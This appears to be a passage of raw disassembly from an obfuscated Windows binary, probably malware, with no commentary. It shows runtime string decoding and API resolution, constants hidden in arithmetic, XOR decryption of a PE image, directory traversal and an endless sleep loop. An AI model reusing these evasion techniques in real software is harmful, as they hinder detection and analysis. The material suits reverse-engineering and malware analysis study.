lea esi, [eax+esi+35h]
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_252]
mov esi, dword_54F1F8
add esi, 15h
imul ecx, esi
mov esi, dword_54F15C
add esi, 38h
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_256]
mov esi, dword_54F098
add esi, 15h
imul ecx, esi
movsx esi, word_54F1C4
mov edi, dword_54F1B0
lea esi, [esi+edi+9]
imul ecx, esi
mov esi, dword_54F14C
add esi, 35h
movsx edi, word_54F128
add esi, edi
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_258]
mov esi, dword_54F0E0
movsx edi, word_54F09C
add esi, edi
imul ecx, esi
movsx esi, word_54F0B4
add esi, 19h
imul ecx, esi
mov esi, dword_54F0B8
add esi, 11h
add esi, eax
mov eax, ecx
imul eax, esi
movsx ecx, word_54F1E8
mov esi, dword_54F17C
lea ecx, [ecx+esi+2Eh]
imul eax, ecx
add edx, eax
mov [ebp+var_25C], edx
mov eax, edx
mov edx, ds:dword_446030
cmp eax, edx
ja loc_43C10F
sub edx, eax
mov eax, dword_54F0B8
add eax, 10DCh
cmp edx, eax
jbe loc_43C10F
push [ebp+arg_0]
call ds:dword_44600C
mov [ebp+var_26C], eax
jmp loc_43C10F
; ---------------------------------------------------------------------------
loc_43C046: ; CODE XREF: sub_43BE84+56j
cmp [ebp+var_112], 2Eh
jz loc_43C10B
push offset dword_550774
call sub_43AAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50C928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43BE84
add esp, 158h
jmp short loc_43C10B
; ---------------------------------------------------------------------------
loc_43C09F: ; CODE XREF: sub_43BE84+289j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_447FC8
mov ebx, eax
or ebx, ebx
jz short loc_43C10F
cmp [ebp+var_112], 2Eh
jz short loc_43C10B
push offset byte_55076B
call sub_43AAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50C928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43BE84
add esp, 158h
loc_43C10B: ; CODE XREF: sub_43BE84+1C9j
; sub_43BE84+219j ...
or ebx, ebx
jnz short loc_43C09F
loc_43C10F: ; CODE XREF: sub_43BE84+194j
; sub_43BE84+1A8j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43BE84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C114 proc near ; CODE XREF: sub_43CDC6:loc_43CDC9p
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, dword_54F0C0
add eax, dword_54F18C
sub eax, 3
push eax
mov eax, dword_54F1E4
sub eax, 4
push eax
push 20h
mov eax, dword_54F14C
movsx edx, word_54F0D0
add eax, edx
sub eax, 8
push eax
call ds:dword_489A00
lea eax, [ebp+var_10]
push eax
call ds:dword_4CA430
mov eax, dword_54F214
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_8]
mov ebx, dword_54F17C
add ebx, 35h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_A]
movsx ebx, word_54F144
add ebx, 14h
imul ecx, ebx
mov ebx, dword_54F124
add ebx, 37h
movsx esi, word_54F138
add ebx, esi
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_E]
mov ebx, dword_54F178
add ebx, 15h
imul ecx, ebx
mov ebx, dword_54F1F4
add ebx, 0Fh
imul ecx, ebx
mov ebx, dword_54F214
add ebx, 39h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_10]
mov ebx, dword_54F21C
add ebx, 5
add ebx, dword_54F0A0
imul ecx, ebx
mov ebx, dword_54F184
lea eax, [eax+ebx+17h]
imul ecx, eax
movsx eax, word_54F210
movsx ebx, word_54F0F4
lea eax, [eax+ebx+11h]
imul ecx, eax
mov eax, dword_54F0E0
add eax, 35h
movsx ebx, word_54F194
add eax, ebx
imul ecx, eax
mov eax, edx
add eax, ecx
mov ds:dword_446030, eax
mov eax, dword_54F134
add eax, dword_54F1A0
sub eax, 9
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43DB03
add esp, 144h
pop edi
pop esi
pop ebx
leave
retn
sub_43C114 endp
; =============== S U B R O U T I N E =======================================
sub_43C266 proc near ; DATA XREF: sub_441207+7o
mov eax, dword_54F154
add eax, dword_54F1E4
sub eax, 0Bh
push eax
call ds:dword_54C960
retn
sub_43C266 endp
; =============== S U B R O U T I N E =======================================
sub_43C27C proc near ; DATA XREF: .data:0054F300o
mov eax, 80004001h
retn 18h
sub_43C27C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C284 proc near ; CODE XREF: sub_44526D+171p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4455B4
push ebx
push esi
push edi
mov eax, dword_54F1AC
add eax, dword_54F154
sub eax, 0Ah
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_43D090
add esp, 8
mov edi, dword_54F1C8
sub edi, 8
jmp short loc_43C2D7
; ---------------------------------------------------------------------------
loc_43C2BD: ; CODE XREF: sub_43C284+59j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_43C2D6
movsx eax, word_54F198
dec eax
mov [ebp+edi+var_FFF], al
loc_43C2D6: ; CODE XREF: sub_43C284+41j
inc edi
loc_43C2D7: ; CODE XREF: sub_43C284+37j
cmp edi, 0FFFh
jb short loc_43C2BD
lea esi, [ebp+var_FFF]
loc_43C2E5: ; CODE XREF: sub_43C284+108j
push offset byte_550767
call sub_43AAF7
push offset dword_447FE0
movsx ebx, word_54F0C4
sub ebx, 6
push ebx
mov ebx, dword_54F108
movsx edx, word_54F194
add ebx, edx
sub ebx, 9
push ebx
push eax
movsx ebx, word_54F0D0
add ebx, dword_54F24C
sub ebx, 0Fh
push ebx
mov ebx, dword_54F224
add ebx, dword_54F1D8
sub ebx, 5
push ebx
push esi
push [ebp+arg_0]
mov ebx, dword_54F1D0
add ebx, dword_54F154
sub ebx, 0Dh
and ebx, 0FFh
push ebx
call sub_440B82
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43C35B: ; CODE XREF: sub_43C284+DCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C35B
movsx edx, word_54F094
sub edx, 1
mov ebx, eax
add ebx, esi
mov esi, edx
add esi, ebx
movsx eax, byte ptr [esi]
movsx edx, word_54F218
movsx ecx, word_54F128
add edx, ecx
sub edx, 5
cmp eax, edx
jnz loc_43C2E5
pop edi
pop esi
pop ebx
leave
retn
sub_43C284 endp
; =============== S U B R O U T I N E =======================================
sub_43C397 proc near ; CODE XREF: sub_43B76D+277p
push edi
push offset byte_550759
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F258, eax
mov eax, dword_54F200
sub eax, 5
cmp dword_54F258, eax
jnz short loc_43C3D6
push offset asc_55074B ; "\n"
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F258, eax
loc_43C3D6: ; CODE XREF: sub_43C397+26j
push offset byte_550741
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4CB934, eax
push offset byte_550737
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4491A4, eax
push offset byte_55072D
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_50C940, eax
push offset byte_550725
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_54E040, eax
push offset byte_55071D
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4899F0, eax
push offset byte_550713
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_50C924, eax
push offset word_55070A
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4CC8F0, eax
push offset dword_550700
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4899E0, eax
push offset dword_5506F8
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_44701C, eax
push offset asc_5506ED ; "\a"
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_44603C, eax
push offset word_5506E2
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_50C928, eax
push offset word_5506D6
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4CA21C, eax
push offset dword_5506CC
call sub_43AAF7
push eax
call sub_442923
mov ds:dword_4CB814, eax
push offset word_5506C2
call sub_43AAF7
push eax
call sub_442923
add esp, 70h
mov ds:dword_44602C, eax
pop edi
retn
sub_43C397 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C501 proc near ; CODE XREF: sub_444250:loc_4447CAp
; sub_444ED7+349p
var_445 = byte ptr -445h
var_341 = byte ptr -341h
var_23D = byte ptr -23Dh
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
push ebp
mov ebp, esp
sub esp, 448h
push ebx
push esi
push edi
lea eax, [ebp+var_341]
push eax
mov eax, dword_54F1AC
add eax, dword_54F0F0
sub eax, 5
push eax
mov eax, dword_54F220
sub eax, 2
push eax
push 1Ch
movsx eax, word_54F0C4
add eax, dword_54F1C8
sub eax, 0Eh
push eax
call ds:dword_489A00
lea eax, [ebp+var_341]
push eax
lea eax, [ebp+var_445]
push eax
call ds:dword_4491A4
push offset asc_5506B7 ; "\a"
call sub_43AAF7
push eax
lea edx, [ebp+var_445]
push edx
call ds:dword_44602C
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_445]
push eax
call ds:dword_4CA228
mov ebx, eax
mov eax, dword_54F230
neg eax
cmp ebx, eax
jz loc_43C64D
lea eax, [ebp+var_112]
push eax
lea eax, [ebp+var_341]
push eax
call sub_440408
add esp, 8
xor esi, esi
inc esi
loc_43C5B2: ; CODE XREF: sub_43C501+E6j
lea eax, [ebp+var_13E]
push eax
push ebx
call ds:dword_447FC8
mov esi, eax
or esi, esi
jnz short loc_43C5CF
push ebx
call ds:dword_4495BC
jmp short loc_43C5E9
; ---------------------------------------------------------------------------
loc_43C5CF: ; CODE XREF: sub_43C501+C3j
lea eax, [ebp+var_112]
push eax
lea eax, [ebp+var_341]
push eax
call sub_440408
add esp, 8
or esi, esi
jnz short loc_43C5B2
loc_43C5E9: ; CODE XREF: sub_43C501+CCj
movsx eax, word_54F1A8
mov edx, dword_54F174
sub edx, 7
mov ds:byte_54CB10[eax], dl
movsx edi, word_54F0A8
jmp short loc_43C645
; ---------------------------------------------------------------------------
loc_43C609: ; CODE XREF: sub_43C501+14Aj
push offset byte_5506AD
call sub_43AAF7
push ds:dword_4CC920[edi*4]
push ds:dword_48A220[edi*4]
push eax
lea edx, [ebp+var_23D]
push edx
call ds:dword_50C928
lea eax, [ebp+var_23D]
push eax
push offset byte_54CB10
call ds:dword_44602C
add esp, 1Ch
inc edi
loc_43C645: ; CODE XREF: sub_43C501+106j
cmp edi, dword_54F2A4
jb short loc_43C609
loc_43C64D: ; CODE XREF: sub_43C501+92j
pop edi
pop esi
pop ebx
leave
retn
sub_43C501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C652 proc near ; DATA XREF: .data:0054F304o
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_54F104
mov edx, dword_54F110
lea eax, [eax+edx+0BFh]
cmp [ebp+arg_4], eax
jnz loc_43C78F
mov [ebp+var_18], 3
lea eax, [ebp+var_10]
push eax
mov eax, dword_54F2E8
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp+var_4], eax
mov eax, dword_54F0E4
add eax, dword_54F1AC
sub eax, 7
cmp [ebp+var_4], eax
jnz loc_43C78B
dec [ebp+var_10]
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_54F2E8
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp+var_4], eax
movsx eax, word_54F0B4
add eax, dword_54F1F8
sub eax, 8
cmp [ebp+var_4], eax
jnz loc_43C78B
lea eax, [ebp+var_20]
push eax
push offset dword_550AA8
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_54F0F0
sub eax, 3
cmp [ebp+var_4], eax
jnz short loc_43C782
lea eax, off_54F2E4
mov [ebp+var_8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp+var_24]
push eax
push offset dword_5509E8
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_54F120
add eax, dword_54F090
sub eax, 0Ch
cmp [ebp+var_4], eax
jnz short loc_43C770
lea eax, [ebp+var_2C]
push eax
push offset dword_5509E8
push [ebp+var_24]
push [ebp+var_20]
call sub_43D748
add esp, 10h
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43C770: ; CODE XREF: sub_43C652+F9j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp+var_20]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43C782: ; CODE XREF: sub_43C652+BEj
mov eax, [ebp+var_1C]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43C78B: ; CODE XREF: sub_43C652+56j
; sub_43C652+94j
xor eax, eax
jmp short loc_43C794
; ---------------------------------------------------------------------------
loc_43C78F: ; CODE XREF: sub_43C652+27j
mov eax, 80020003h
loc_43C794: ; CODE XREF: sub_43C652+13Bj
pop edi
pop esi
pop ebx
leave
retn 24h
sub_43C652 endp
; =============== S U B R O U T I N E =======================================
sub_43C79B proc near ; DATA XREF: .data:0054F2B4o
mov eax, 80004001h
retn 8
sub_43C79B endp
; =============== S U B R O U T I N E =======================================
sub_43C7A3 proc near ; CODE XREF: sub_43B76D+272p
push offset byte_550697
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_48A214, eax
push offset byte_550689
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4899EC, eax
push offset dword_55067C
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4495BC, eax
push offset dword_55066C
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_447FC0, eax
push offset byte_55065D
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_44600C, eax
push offset byte_550647
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CB818, eax
push offset dword_550630
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_50C920, eax
push offset byte_550623
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4495CC, eax
push offset dword_55060C
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_50C934, eax
push offset byte_5505F7
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54C94C, eax
push offset dword_5505E4
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DB10, eax
push offset byte_5505CD
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446010, eax
push offset byte_5505C1
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446034, eax
push offset dword_5505A8
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CC900, eax
push offset byte_55059B
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CA544, eax
push offset word_55058A
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DF28, eax
push offset word_550572
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54CA78, eax
push offset word_55055A
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446014, eax
push offset word_55054A
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CC908, eax
push offset dword_550538
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CA228, eax
push offset byte_55051D
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CB944, eax
push offset asc_55050E ; "\v"
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DF2C, eax
push offset word_5504FA
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446040, eax
push offset word_5504EA
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_48A21C, eax
push offset byte_5504DB
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DB1C, eax
push offset asc_5504CC ; "\v"
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CC910, eax
push (offset asc_5504BC+2)
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CB938, eax
push offset byte_5504AF
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DB18, eax
push offset dword_5504A0
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CB810, eax
push offset dword_55048C
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_449598, eax
push offset dword_55047C
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54CA70, eax
push offset asc_55046B ; "\r"
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CA430, eax
push offset word_55045A
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_447FC8, eax
push offset word_550442
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4899F8, eax
push offset asc_550434 ; "\n"
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54C960, eax
push offset byte_550429
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_449094, eax
push offset dword_550418
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446038, eax
push offset dword_550408
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_48A218, eax
push offset word_5503F6
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DF30, eax
push offset asc_5503E7 ; "\v"
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CB948, eax
push offset word_5503D6
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54C964, eax
push offset dword_5503C4
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4495A8, eax
push offset dword_5503B8
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446000, eax
push offset dword_5503A8
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_446044, eax
push offset byte_550391
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4495B0, eax
push offset byte_550377
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_4CC918, eax
push offset word_550362
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_449088, eax
push offset byte_550355
call sub_43AAF7
push eax
call sub_43D730
mov ds:dword_54DF1C, eax
push offset word_55033E
call sub_43AAF7
push eax
call sub_43D730
add esp, 188h
mov ds:dword_4899F4, eax
retn
sub_43C7A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CBAF proc near ; CODE XREF: sub_441843+18Bp
; sub_441843+195p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
mov eax, dword_54F0C8
add eax, dword_54F140
sub eax, 2
push eax
push dword_54F180
push [ebp+arg_0]
movsx eax, word_54F0D0
add eax, dword_54F23C
sub eax, 6
push eax
mov eax, dword_54F1B0
sub eax, 7
push eax
call ds:dword_54DF20
push eax
call ds:dword_4CB948
leave
retn
sub_43CBAF endp
; =============== S U B R O U T I N E =======================================
sub_43CBF8 proc near ; CODE XREF: sub_444ED7+34p
push edi
push offset byte_55032F
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F280, eax
mov eax, dword_54F1E4
sub eax, 4
cmp dword_54F280, eax
jnz short loc_43CC37
push offset dword_550320
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F280, eax
loc_43CC37: ; CODE XREF: sub_43CBF8+26j
push offset word_55030A
call sub_43AAF7
pop ecx
push eax
push dword_54F280
call ds:dword_4491AC
mov ds:dword_446028, eax
pop edi
retn
sub_43CBF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CC56 proc near ; CODE XREF: sub_444ED7+2D3p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov ecx, esi
add ecx, eax
mov eax, [ecx+28h]
mov edx, [ebp+arg_0]
lea esi, [eax+edx+0Dh]
movzx eax, byte ptr [esi+1]
mov edx, dword_54F134
add edx, 1FEh
mov ebx, eax
imul ebx, edx
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
mov ecx, dword_54F150
sub ecx, 2
jmp short loc_43CCA7
; ---------------------------------------------------------------------------
loc_43CC99: ; CODE XREF: sub_43CC56+53j
movzx eax, byte ptr [esi+ecx]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+ecx], al
inc ecx
loc_43CCA7: ; CODE XREF: sub_43CC56+41j
cmp ecx, ebx
jb short loc_43CC99
mov eax, [ebp+arg_4]
mov [eax], ebx
mov eax, esi
pop esi
pop ebx
leave
retn
sub_43CC56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CCB6 proc near ; CODE XREF: sub_441843+43p
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_4495B0
movsx eax, word_54F128
mov edx, dword_54F178
add edx, dword_54F0B0
sub edx, 0Eh
mov byte ptr [ebp+eax+var_10C+2], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call ds:dword_4CC900
push offset word_550302
call sub_43AAF7
push [ebp+var_10C]
push eax
push edi
call ds:dword_50C928
add esp, 10h
movsx eax, word_54F240
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_43CD7F
; ---------------------------------------------------------------------------
loc_43CD50: ; CODE XREF: sub_43CCB6+D4j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_43CD66
cmp al, 5Ah
jg short loc_43CD66
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_43CD66: ; CODE XREF: sub_43CCB6+A2j
; sub_43CCB6+A6j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 30h
jl short loc_43CD7C
cmp al, 39h
jg short loc_43CD7C
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_43CD7C: ; CODE XREF: sub_43CCB6+B8j
; sub_43CCB6+BCj
inc [ebp+var_4]
loc_43CD7F: ; CODE XREF: sub_43CCB6+98j
mov eax, dword_54F170
add eax, 4
cmp [ebp+var_4], eax
jb short loc_43CD50
pop edi
leave
retn
sub_43CCB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CD8F proc near ; CODE XREF: sub_43F052+3DAp
; sub_43F052+438p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, esi
xor eax, [ebp+arg_8]
xor eax, [ebp+arg_C]
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43D3EA
add esp, 8
mov edi, eax
add edi, esi
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43CD8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43CDC6 proc near ; DATA XREF: sub_441843+186o
push ebp
mov ebp, esp
loc_43CDC9: ; CODE XREF: sub_43CDC6+2Dj
call sub_43C114
mov eax, dword_54F1A0
add eax, dword_54F0E8
sub eax, 7
mov edx, dword_54F140
add edx, 0EA5Fh
imul eax, edx
push eax
call ds:dword_50C924
pop ecx
jmp short loc_43CDC9
sub_43CDC6 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CDF9 proc near ; CODE XREF: sub_44050C+144p
; sub_441843+108p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, dword_54F248
mov esi, eax
add esi, dword_54F188
sub esi, 9
jmp short loc_43CE49
; ---------------------------------------------------------------------------
loc_43CE14: ; CODE XREF: sub_43CDF9+53j
call ds:dword_54E040
mov edi, dword_54F1A0
add edi, 53h
movsx edx, word_54F1A4
add edi, edx
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
add edi, eax
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_43CE49: ; CODE XREF: sub_43CDF9+19j
cmp esi, [ebp+arg_4]
jl short loc_43CE14
mov eax, [ebp+arg_4]
mov edx, dword_54F230
add edx, dword_54F0EC
sub edx, 2
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43CDF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CE6A proc near ; DATA XREF: sub_444ED7+1A5o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
mov eax, [ebp+arg_4]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4495C8
pop edi
pop ebp
retn 10h
sub_43CE6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CE88 proc near ; DATA XREF: .data:0054F2C0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_54F1DC
add eax, 2
add eax, dword_54F1C8
cmp ds:dword_4495D0, eax
jnb short loc_43CEBC
mov eax, dword_54F1B4
sub eax, 4
mov ds:dword_4495D0, eax
loc_43CEBC: ; CODE XREF: sub_43CE88+25j
mov eax, dword_54F1C0
mov edi, eax
add edi, dword_54F0E8
sub edi, 2
jmp short loc_43CEDA
; ---------------------------------------------------------------------------
loc_43CECE: ; CODE XREF: sub_43CE88+64j
lea ebx, ds:4480E0h[edi*4]
cmp esi, ebx
jz short loc_43CEEE
inc edi
loc_43CEDA: ; CODE XREF: sub_43CE88+44j
mov eax, dword_54F1D4
add eax, 3DDh
add eax, dword_54F158
cmp edi, eax
jb short loc_43CECE
loc_43CEEE: ; CODE XREF: sub_43CE88+4Fj
movsx eax, word_54F138
movsx edx, word_54F164
lea eax, [eax+edx+3E4h]
cmp edi, eax
jnz short loc_43CF0E
xor eax, eax
jmp loc_43D089
; ---------------------------------------------------------------------------
loc_43CF0E: ; CODE XREF: sub_43CE88+7Dj
movzx esi, ds:word_489A10[edi*2]
mov ebx, dword_54F214
add ebx, dword_54F0E4
sub ebx, 7
cmp esi, ebx
jnz short loc_43CF5F
movzx eax, ds:byte_4491B0[edi]
push eax
push ds:dword_447020[edi*4]
call sub_43EF1C
add esp, 8
movsx esi, word_54F1F0
add esi, dword_54F0D8
sub esi, 0Ch
mov ds:dword_4480E0[edi*4], esi
xor eax, eax
jmp loc_43D089
; ---------------------------------------------------------------------------
loc_43CF5F: ; CODE XREF: sub_43CE88+9Fj
movzx esi, ds:word_489A10[edi*2]
mov ebx, dword_54F1D0
add ebx, 0FFF4h
add ebx, dword_54F1B4
cmp esi, ebx
jnz loc_43D06A
mov eax, dword_54F0E8
movsx edx, word_54F0CC
add eax, edx
sub eax, 2
mov [ebp+var_4], eax
jmp loc_43D053
; ---------------------------------------------------------------------------
loc_43CF9A: ; CODE XREF: sub_43CE88+1D8j
mov esi, [ebp+var_4]
mov ebx, esi
shl ebx, 2
mov edx, dword_54F1D8
add edx, dword_54F1D4
sub edx, 0Ch
cmp ds:dword_4480E0[ebx], edx
jz loc_43D050
movzx edx, ds:word_489A10[esi*2]
mov ecx, dword_54F110
add ecx, 0FFF6h
movsx eax, word_54F218
add ecx, eax
cmp edx, ecx
jz short loc_43D050
mov edx, ds:dword_447020[edi*4]
cmp ds:dword_447020[ebx], edx
jnz short loc_43D050
